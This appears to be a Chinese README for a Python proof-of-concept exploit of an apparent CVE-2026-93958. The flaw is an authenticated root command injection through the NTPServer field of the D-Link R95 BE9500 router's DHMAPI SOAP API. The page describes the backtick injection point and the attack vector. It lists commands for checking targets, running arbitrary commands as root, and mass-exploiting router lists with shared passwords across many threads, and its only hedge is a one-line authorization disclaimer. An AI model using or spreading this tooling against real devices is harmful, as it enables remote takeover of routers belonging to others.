针对 CVE-2026-93958 的 Python 3 PoC —— D-Link R95 BE9500 固件 BE9500_1.00.16(构建版本 1.01B06)。
CVE-2026-93958 —— /bin/ssi DHMAPI(基于 HTTPS 的 SOAP)中的 OS 命令注入(CWE-77 / CWE-78)。SetTimeSettings 处理程序在存储 NTPServer 时未做任何净化处理;UCI 同步通过 shell 执行 uci set …="%s",因此 NTPServer 中的反引号会以 root 权限执行。
前提条件: 有效的 admin Web 会话(Login + API-AUTH HMAC)。默认用户为 Admin。管理端口通常为 18443(也可尝试 443)。
影响: 设备完全失陷(root RCE)。BE9500_1.00.16(2026 年 9 月)无厂商修复记录。
公开研究: FoundTL/D-Link-R95-BE9500
CVSS: 9.4(v4.0)/ 9.1(v3.1,PR:H,作用域已变更)。
PoC 页面: https://pocbit.org/pocs/cve-2026-93958
| 产品 | D-Link R95 BE9500 |
| 固件 | BE9500_1.00.16 / 1.01B06 |
| 攻击向量 | POST /DHMAPI/ → SetTimeSettings / NTPServer |
| 认证 | Admin + API-AUTH |
| 利用方式 | `cmd` 注入;输出通过 /www/pocbit93958.txt 获取 |
功能: 彩色 CLI、--mode check、--mode exploit、批量扫描(--list + -j)、JSONL + exploited.txt。
pip install -r requirements.txt
python poc.py -u 192.168.2.254:18443 --mode check
python poc.py -u 192.168.2.254:18443 -U Admin -P 'YourPass' --mode exploit
python poc.py -u 192.168.2.254:18443 -U Admin -P pass --mode exploit --command "uname -a"
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py --list targets.txt --mode exploit --password SharedAdminPass -j 12
目标行格式:host[:port] [username] [password](制表符/空格分隔)。
CVE-2026-93958 PoC:D-Link R95 BE9500 DHMAPI NTPServer 认证后 root RCE。DHMAPI 登录、SetTimeSettings 注入、批量利用。PoCbit
仅限在您拥有或获授权评估的设备上进行测试。